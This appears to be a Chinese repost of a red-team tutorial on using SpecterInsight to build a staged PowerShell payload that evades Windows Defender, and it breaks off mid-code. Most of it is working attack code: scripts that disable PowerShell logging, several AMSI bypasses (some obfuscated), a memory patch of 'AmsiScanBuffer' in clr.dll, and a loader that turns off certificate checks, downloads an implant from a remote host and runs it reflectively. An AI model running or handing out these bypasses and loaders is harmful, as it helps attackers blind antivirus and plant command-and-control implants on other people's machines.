使用 SpecterInsight 绕过 AMSI 并逃避 AV 检测

admin 2025年3月4日22:05:11评论13 views字数 53030阅读176分46秒阅读模式
使用 SpecterInsight 绕过 AMSI 并逃避 AV 检测

介绍

几周前,reddit 上有一篇帖子询问如何绕过 Windows Defender 而不被发现。最近,构建可以逃避检测的有效载荷变得更加困难。微软付出了大量的努力来部署良好的启发式签名,以阻止已知的 AMSI 绕过技术及其常见的混淆方式。此外,Windows Defender 现在可以检测 AMSI.dll 中的代码操纵,从而有效地消除了一整类 AMSI 绕过技术。

幸运的是,红队操作员和渗透测试人员还没有失去希望。仍然可以使用适当的混淆和绕过技术来制作有效载荷,以逃避端点检测。

在这篇文章中,我将介绍如何构建有效载荷管道以使用 SpecterInsight 生成未被发现的 PowerShell 底座。

使用的工具

本文使用的工具包括:

  • SpecterInsight 4.2.0

.NET Payload 攻击链

对于此管道,我们的最终目标是通过 PowerShell 命令将 .NET 有效载荷放入内存中。在本例中,我们将植入 SpecterInsight 植入物,但它可以是任何 .NET 有效载荷、注入器、shellcode 或其他任何东西。为了实现这一点,我将构建一个包含四个阶段的有效载荷:

  • 第 一阶段:PowerShell 命令

  • 第二阶段:PowerShell 底座

  • 绕过日志记录

  • InitFailed AMSI 绕过

  • 禁用证书验证

  • PowerShell 下载并执行

  • 混淆

第 三 阶段:.NET 模块加载器脚本

  • AmsiScanBuffer 字符串替换

  • .NET 模块下载并执行

第四阶段:.NET Payload

  • SpecterInsight 植入

让我们详细地了解一下每个阶段的有效载荷工作过程。

第四阶段:.NET Payload

我们的最终目标是加载这个 .NET 模块,它是我们将用于交互式操作以及目标环境的命令和控制的植入物。

具体来说,对于 SpecterInsight,已经有一个有效载荷管道,它返回一个我们可以加载和执行的 .NET 模块,名为 win_any。激活该管道将返回一个兼容 .NET 2.0 的可执行文件,可以反射式加载到任何 power shell 会话中。下面的屏幕截图显示了 Get-Payload 命令的输出。在“文本输出”窗格中,您可以看到“win_any”管道返回的 .NET 可执行文件的 MZ 标头。

使用 SpecterInsight 绕过 AMSI 并逃避 AV 检测

第 3 阶段:.NET 模块加载器脚本

此特定阶段的目标是返回一个 PowerShell 脚本,该脚本将禁用日志记录、禁用 .NET 模块的 AMSI 扫描,最后下载并运行我们的第 4 阶段有效负载。

这将是一个比底座更大的 power shell 脚本,因为它要执行的功能更多,而我们使用的旁路技术更复杂,因此需要更多行代码才能执行它。一旦将其与离站分层,有时此有效载荷会变得太大而无法作为单个 PowerShell 命令执行,因为命令行长度限制为 32KB,这是我将其分离到单独阶段的主要原因之一。此外,对较大有效载荷进行混淆可能会导致性能问题,从而可能减慢有效载荷的执行速度,并可能导致目标 CPU 利用率过高。

我对这一特定阶段做出的假设之一是,在执行此阶段之前已经运行了 AMSI 绕过,以防止将 PowerShell 命令发送到已安装的 AV。我们将在第 2 阶段使用的 AMSI 绕过技术仅限于 PowerShell 命令,这意味着我们可以安全地运行未混淆的命令,但任何加载的模块仍将被扫描。

在执行模块加载器之前,我们必须首先应用 AMSI 旁路,以防止已安装的 AV 扫描 .NET 模块。SpecterInsight 中目前有两种技术可以满足该要求:(1) AmsiScanBuffer API 调用挂钩和 (2) AmsiScanBufferStringReplace。不幸的是,我们不能使用第一种技术,因为 Windows Defender 现在具有检测 AmsiScanBuffer 函数的操纵和修补的行为签名。

剩下的就是 AmsiScanBufferStringReplace 技术。该技术实际上会在内存中搜索 CLR.DLL 以查找字符串“AmsiScanBuffer”并覆盖该数据。这样做可以防止 CLR.DLL 在我们加载有效负载时调用该函数,从而有效地禁用反射加载的 .NET 模块的 AMSI 扫描。到目前为止,Windows Defender 尚未检测到该技术。

$bypass = Get-PwshAmsiBypass -Technique AmsiScanBufferStringReplace;$loader = Get-PwshLoadModuleFromURL -Pipeline 'win_any';$script = Obfuscate-PwshCombine $bypass$loader;$script

上述管道将生成如下所示的输出:

# Define constants$PAGE_READONLY = 0x02$PAGE_READWRITE = 0x04$PAGE_EXECUTE_READWRITE = 0x40$PAGE_EXECUTE_READ = 0x20$PAGE_GUARD = 0x100$MEM_COMMIT = 0x1000$MAX_PATH = 260#Helper functionsfunctionIsReadable{    param ($protect, $state)return (        (($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or         ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or         ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or         ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and        ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and        ($state -band $MEM_COMMIT) -eq $MEM_COMMIT    )}functionPatternMatch{    param ($buffer, $pattern, $index)for ($i = 0; $i -lt $pattern.Length; $i++) {if ($buffer[$index + $i] -ne $pattern[$i]) {return $false        }    }return $true}if($PSVersionTable.PSVersion.Major -gt 2) {#Create module builder    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32");    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run);    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False);#Define structs    $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]);    [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public);    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType();#Define structs    $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]);    [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public);    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType();#P/Invoke Methods    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32""Public, Class");    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]));    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError");    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,"kernel32.dll",        [Reflection.FieldInfo[]]@($SetLastError),        @($True));#Define [Win32.Kernel32]::VirtualProtect    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [bool],        [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::GetCurrentProcess    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@(),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::VirtualQuery    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::GetSystemInfo    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::GetMappedFileName    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName","psapi.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::ReadProcessMemory    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::WriteProcessMemory    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    $Kernel32 = $TypeBuilder.CreateType();    $signature = [System.Text.Encoding]::UTF8.GetBytes("AmsiScanBuffer");    $hProcess = [Win32.Kernel32]::GetCurrentProcess();#Get system information    $sysInfo = New-Object Win32.SYSTEM_INFO;    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo);#List of memory regions to scan    $memoryRegions = @();    $address = [IntPtr]::Zero;#Scan through memory regionswhile ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {        $memInfo = New-Object Win32.MEMORY_INFO_BASIC;if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {            $memoryRegions += $memInfo;        }#Move to the next memory region        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64());    }    $count = 0;#Loop through memory regionsforeach ($region in $memoryRegions) {#Check if the region is readable and writableif (-not (IsReadable $region.Protect $region.State)) {continue;        }#Check if the region contains a mapped file        $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATHif ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) {            $path = $pathBuilder.ToString();if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {#Scan the region for the pattern                $buffer = New-Object byte[] $region.RegionSize.ToInt64();                $bytesRead = 0;                [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead);for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) {                    $found = $True;for($m = 0; $m -lt $signature.Length; $m++) {if($buffer[$k + $m] -ne $signature[$m]) {                            $found = $False;break;                        }                    }if ($found) {                        $oldProtect = 0;if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect);                        }                        $replacement = New-Object byte[] $signature.Length;                        $bytesWritten = 0;                        [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten);                        $count++;if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect);                        }                    }                }            }        }    }}[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }$client = New-Object System.Net.WebClient;$contents = $client.DownloadData('https://192.168.1.101/static/resources/?build=1f5a69d0e70843f0af080f3cf87a69d7&kind=win_any');if($contents -eq $null) {exit;}$module = [System.Reflection.Assembly]::Load($contents);$parameters = [string[]]@();$module.EntryPoint.Invoke($null, $parameters);

状态 2:PowerShell 底座

此阶段是 PowerShell 的摇篮。它是为以下阶段奠定基础的组件。它也是第一个也是唯一一个将被防病毒引擎扫描的脚本。因此,我们将花费大量时间和精力,确保此阶段不会被检测到。

此阶段的职责是:

  • 禁用 PowerShell 日志记录。

  • 仅绕过 PowerShell 脚本的 AMSI。

  • 下载并运行第 3 阶段 PowerShell 脚本。

  • 禁用 SSL/TLS 证书验证(如果您使用合法的 SSL/TLS 证书,从技术上讲,此步骤不是必需的)。

  • 不要被发现。

下图将此管道描绘为转换图,其中源转换(不需要输入的转换)为蓝色,所有其他转换为橙色,并根据某些管道输入进行操作。

此转换图的输出是存储为字符串的 PowerShell 脚本。

使用 SpecterInsight 绕过 AMSI 并逃避 AV 检测

让我们了解一下在 SpecterInsight Payload Pipeline 中如何实现每个步骤。

绕过日志记录

第一个源转换是日志绕过。实际上,我们希望生成一个日志绕过,稍后我们将对其应用混淆转换。目前,我们只需要原始的未混淆源代码。Get-PwshLoggingBypass 方法将为我们处理这个问题。

管道脚本

Get-PwshLoggingBypass

Get-PwshLoggingBypass cmdlet 内置于 SpecterInsight Payload Pipeline 环境中,并将生成一个 PowerShell 脚本来禁用三种类型的日志记录:(1) 模块日志记录、(2) ScriptBlock 日志记录和 (3) 转录。请参阅下一个选项卡中的输出示例。

示例输出

try {    $key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging"    $key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging"    $key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription"    $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);    $settings[$key1] = @{}    $settings[$key1].Add("EnableScriptBlockLogging"'0')    $settings[$key2] = @{}    $settings[$key2].Add("EnableModuleLogging"'0')    $settings[$key3] = @{}    $settings[$key3].Add("EnableTranscripting"'0')catch { }

在 PowerShell 6 之前的早期版本中,日志记录设置是从注册表中提取的,并缓存在内存中的 Dictionary 数据结构中。这些设置在应用程序启动时会被停用一次。加载到内存后,PowerShell 中的各个代码段会引用这些缓存的设置,以实现由这些设置定义的策略。

我们可以使用上面显示的代码通过反射来操作这些缓存设置。关键是注册表项的路径,而值存储在哈希表中。我们可以通过将值设置为新的哈希表并将值添加到该表来清除这些设置。对于每个设置,我们只需添加值 0 即可禁用该类型的日志记录。实施后,PowerShell 将开始使用新设置。

反恶意软件扫描接口 (AMSI) 绕过

此转换会生成几种可能的 AMSI 绕过技术之一,具体取决于操作员指定的内容。对于此攻击链,我们需要一种 AMSI 绕过技术,其中 (1) 行为无法被检测到 (2) 相对较小且紧凑,因为底座本身在某些时候需要适合长度有限的命令行,并且 (3) 它不能使用动态加载 .NET 模块来实现绕过,因为这将破坏第 3 阶段 AMSI 绕过。以下是可用于绕过 AMSI 的选项的摘要:

技术
执行
上下文错误 仅限 PowerShell 命令。
初始化失败 仅限 PowerShell 命令。
补丁添加类型 完全缓解 AMSI(Windows Defender 检测到的行为)。
内存补丁 完全缓解 AMSI(Windows Defender 检测到的行为)。
补丁扫描内容 仅限 PowerShell 命令(相当大的有效载荷)。
AmsiScanBufferStringReplace 仅 .NET 模块加载(相当大的有效载荷)。

从技术上讲,前五种技术将实现我们在此特定阶段的目标;但是,Windows Defender 对这些技术有行为签名,这些技术依赖于修补 AmsiScanBuffer 函数,无论我们应用多少混淆,它都会停止我们的杀伤链。我们也不能使用最后一种技术,因为它仅适用于 .NET 模块加载,并且不会绕过 PowerShell 脚本的 AMSI。

PatchScanContent 方法适用于所有版本的 PowerShell,但有效载荷相当大,因此我通常避免在需要保持有效载荷大小较小的底座中使用它。此外,该技术目前使用反射加载,前面提到过,它可以击败第 3 阶段 AMSI 绕过技术。另一方面,InitFailed 技术相对较小,因此我将使用它作为默认技术,并为操作员提供选择其他技术的选项。

以下是SpecterInsight中每种技术的参考实现:

  • 上下文错误

此绕过通过破坏用于在对 AmsiScanBuffer 的单独调用之间提供连续性的 AMSI 上下文数据结构来实现。如果此结构被破坏,则对 AmsiScanBuffer 的调用(通常)将正常失败,而不会将数据传递给 AV。

管道脚本

Get-PwshAmsiBypass -Technique ContextError

输出

if($PSVersionTable.PSVersion.Major -gt 2) {[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext",[Reflection.BindingFlags]"NonPublic,Static").GetValue($null),0x38801964);}
  • 初始化失败

此绕过的工作原理是将 PowerShell 运行时中的 bool 变量设置为 true,该变量表示对 AmsiInitialize 的调用是否失败。值为 true 表示失败。在内部,如果 PowerShell 认为初始化失败,它将不会向 AV 提交数据。

管道脚本

Get-PwshAmsiBypass -Technique InitFailed

输出

functionSet-Value{    param(        [Parameter(Mandatory = $true)]        [Type]$Type,        [Parameter(Mandatory = $true)]        [string]$Name,        [Parameter(Mandatory = $true)]        [object]$Value    )    $method = "GetField";    $setter = "SetValue";    $field = $Type.$method($Name,"NonPublic,Static");    $field.$setter($null,$Value);}if($PSVersionTable.PSVersion.Major -gt 2) {    $Assembly = "Assembly";    $method = "GetType";    $type = [Ref].$Assembly.$method("System.Management.Automation.AmsiUtils");    $name = "amsiInitFailed";    Set-Value $type $name $true;}
  • 补丁添加类型

此技术修补了 AmsiScanBuffer 方法,使其始终返回 AMSI_RESULT_NOT_DETECTED。它动态编译 C# 代码,实际上完成修补 AMSI 的工作。下面的示例与在线找到的参考实现不同,SpecterInsight 将 C# 混淆应用于动态编译的代码,以确保它逃避检测。每次运行此管道时,您都会得到不同的 C# 有效负载。

管道脚本

Get-PwshAmsiBypass -Technique PatchAddType

输出

if($PSVersionTable.PSVersion.Major -gt 2) {    Add-Type @'using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Text;using System.IO;using System.IO.Compression;namespace DataPusher{    public delegate IntPtr JSONConverterToXML(string tempKey);    public delegate bool GameStarter(IntPtr lastName, UIntPtr configFile, uint width, out uint errorMessage);    public class CodeCompiler {        [DllImport("kernel32")]        private static extern IntPtr GetProcAddress(IntPtr port, string tempFlag);        public static readonly JSONConverterToXML instance;        private static readonly GameStarter createdDate;        static CodeCompiler()        {            IntPtr tempDouble= CodeCompiler.UninstallPackage();            IntPtr tempGuid= CodeCompiler.GetProcAddress(tempDouble, ScreenshotCapturer.EventHandler.Energy);            CodeCompiler.instance = (JSONConverterToXML)Marshal.GetDelegateForFunctionPointer(tempGuid, typeof(JSONConverterToXML));            CodeCompiler.createdDate = (GameStarter)Marshal.GetDelegateForFunctionPointer(CodeCompiler.GetProcAddress(tempDouble, ScreenshotCapturer.EventHandler.CompanyPhone), typeof(GameStarter));        }        private static IntPtr UninstallPackage()        {            Process debugValue= Process.GetCurrentProcess();foreach (ProcessModule tempDouble in debugValue.Modules){    if (tempDouble.ModuleName.IndexOf(ScreenshotCapturer.EventHandler.IsAsynchronous, StringComparison.InvariantCultureIgnoreCase) >= 0)    {        return tempDouble.BaseAddress;    }}            return IntPtr.Zero;        }        public static bool UpdateEntity(IntPtr lastName, UIntPtr configFile, uint width, out uint errorMessage)        {            return CodeCompiler.createdDate(lastName, configFile, width, out errorMessage);        }        public static IntPtr CopyObject(string tempDouble, string tempInt)        {            IntPtr modifiedDate= CodeCompiler.instance(tempDouble);            return CodeCompiler.GetProcAddress(modifiedDate, tempInt);        }    }}namespace ScreenshotCapturer{    public static class EventHandler {        public static string Energy {            get            {                return EventHandler.createdBy[0];            }        }        public static string CompanyPhone {            get            {                return EventHandler.createdBy[1];            }        }        public static string IsAsynchronous {            get            {                return EventHandler.createdBy[2];            }        }        static EventHandler()        {            EventHandler.UpdateDatabaseRecords(EventHandler.xmlData, 32);            using (MemoryStream tempValue= new MemoryStream(EventHandler.xmlData))            {                using (GZipStream warningInfo= new GZipStream(tempValue, CompressionMode.Decompress))                {                    using (BinaryReader buffer= new BinaryReader(warningInfo))                    {                        int tempIndex= buffer.ReadInt32();                        EventHandler.createdBy = new string[tempIndex];                        for (int debugFlag= 0; debugFlag < tempIndex; debugFlag++)                        {                            EventHandler.createdBy[debugFlag] = buffer.ReadString();                        }                    }                }            }        }        private static void UpdateDatabaseRecords(byte[] firstName, int size)        {            for (int debugFlag= 0; debugFlag < firstName.Length; debugFlag++)            {                int deleteData= firstName[debugFlag] - size;                if (deleteData < 0)                {                    deleteData += 256;                }                firstName[debugFlag] = (byte)deleteData;            }        }        private static string[] createdBy;        private static byte[] xmlData= new byte[]        {            63,            171,            40,            32,            32,            32,            32,            32,            32,            42,            131,            134,            128,            128,            0,            17,            233,            111,            108,            17,            233,            108,            74,            106,            76,            202,            148,            4,            43,            235,            76,            74,            73,            109,            236,            41,            72,            234,            79,            105,            109,            78,            1,            232,            110,            77,            234,            107,            237,            81,            86,            34,            32,            227,            39,            124,            76,            73,            32,            32,            32        };    }}'@;    $address = [DataPusher.CodeCompiler]::CopyObject("amsi.dll""AmsiScanBuffer");    $p = 0;    [void][DataPusher.CodeCompiler]::UpdateEntity($address, [uint32]50x40, [ref]$p);    $patch = [Byte[]] (0xB60xC10x420x2B0xBD0x20);    $offset = [Byte[]] (0x020x960xBE0xDC0xC30xA3);for($i = 0; $i -lt $patch.Length; $i++) {        $sum = $patch[$i] + $offset[$i];        $patch[$i] = [byte]($sum % 256);    }    [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, 6);}
  • 内存补丁

此技术修补了 AmsiScanBuffer 方法,使其始终返回 AMSI_RESULT_NOT_DETECTED。与 PatchAddType 不同,此代码使用 emit API 动态编译 CIL 代码,不会触发编译代码的 AMSI 扫描。其余的 PowerShell 利用编译后的代码进行低级 WINAPI 访问来修补目标函数。

管道脚本

Get-PwshAmsiBypass -Technique PatchInMemory

输出

if($PSVersionTable.PSVersion.Major -gt 2) {    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32");    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run);    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False);    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32""Public, Class");    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]));    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError");    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,"kernel32.dll",        [Reflection.FieldInfo[]]@($SetLastError),        @($True));# Define [Win32.Kernel32]::VirtualProtect    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    $Kernel32 = $TypeBuilder.CreateType();    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll") };    $UnsafeNativeMethods = $SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");    $GetModuleHandle = $UnsafeNativeMethods.GetMethod("GetModuleHandle");    $GetProcAddress = $UnsafeNativeMethods.GetMethod("GetProcAddress", [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);    $Kern32Handle = $GetModuleHandle.Invoke($null, "amsi.dll");    $tmpPtr = New-Object IntPtr;    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle);    $left = "AmsiSc";    $right = "anBuffer";    $address = $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef,($left + $right)));    $p = 0;    [void]$Kernel32::VirtualProtect($address, [UInt32]50x40, [ref]$p);    $offset = [Byte[]](12222171811);    $patch = [Byte[]](196109224146206);for($i = 0; $i -lt $patch.Length; $i++) {        $patch[$i] -= $offset[$i];    }    [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, 6);}
  • 补丁扫描内容

该技术修补了 System.Management.Automation.dll 中名为 ScanContent 的方法。每当 PowerShell 需要使用 AMSI 扫描某些内容时,就会调用此方法。此代码会覆盖该函数以始终返回 1,即 NOT_DETECTED。与 PatchAddType 技术一样,此技术也是在混淆的 C# 代码中实现的。该代码使用 Add-Type 动态编译。每次运行此管道时,C# 代码都会有所不同。

管道脚本

Get-PwshAmsiBypass -Technique PatchScanContent

输出

if($PSVersionTable.PSVersion.Major -gt 2) {    Add-Type @'using System;using System.ComponentModel;using System.Diagnostics;using System.Management.Automation;using System.Reflection;using System.Runtime.CompilerServices;using System.Runtime.InteropServices;using System.Text;namespace ConfigurationImporter{    public delegate bool ArrayMerger(IntPtr phoneNumber, IntPtr tempEnum, UIntPtr tempDateTime);    public delegate bool SettingsInitializer(IntPtr jsonObject, UIntPtr tempDateTime, uint startDate, out uint debugFlag);    public delegate bool PluginRegistrar(IntPtr phoneNumber, IntPtr tempEnum, byte[] endDate, uint tempChar, out IntPtr tempInt);    public static class FileImporter {        [DllImport("kernel32")]        private static extern IntPtr GetProcAddress(IntPtr requestUrl, string createdDate);        private static ArrayMerger server;        private static SettingsInitializer httpRequest;        private static PluginRegistrar length;        static FileImporter()        {            IntPtr debugValue= FileImporter.ImportDataFromExcel();            FileImporter.server = (ArrayMerger)Marshal.GetDelegateForFunctionPointer(FileImporter.RegisterService(debugValue, TimerStarter.CodeUnitTester.FrameCount), typeof(ArrayMerger));            FileImporter.httpRequest = (SettingsInitializer)Marshal.GetDelegateForFunctionPointer(FileImporter.RegisterService(debugValue, TimerStarter.CodeUnitTester.IsSibling), typeof(SettingsInitializer));            FileImporter.length = (PluginRegistrar)Marshal.GetDelegateForFunctionPointer(FileImporter.RegisterService(debugValue, TimerStarter.CodeUnitTester.IsTransient), typeof(PluginRegistrar));        }        public static void AdjustBrightness()        {            MethodInfo webRequest= typeof(PSObject).Assembly.GetType(TimerStarter.CodeUnitTester.QueryString).GetMethod(TimerStarter.CodeUnitTester.PaymentPayPalID, BindingFlags.NonPublic | BindingFlags.Static);            MethodInfo config= FileImporter.SegmentImage();            FileImporter.ConnectToServer(webRequest, config);        }        private static MethodInfo SegmentImage()        {foreach (MethodInfo tempString in typeof(FileImporter).GetMethods(BindingFlags.NonPublic | BindingFlags.Static)){    if (tempString.MethodImplementationFlags.HasFlag(MethodImplAttributes.NoOptimization) && tempString.MethodImplementationFlags.HasFlag(MethodImplAttributes.NoInlining))    {        return tempString;    }}            throw new ItemNotFoundException();        }        [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]        private static int CreateDirectory(string stream, string logLevel)        {            return 1;        }        public static void ConnectToServer(MethodInfo webRequest, MethodInfo isValid)        {            IntPtr buffer= Process.GetCurrentProcess().Handle;            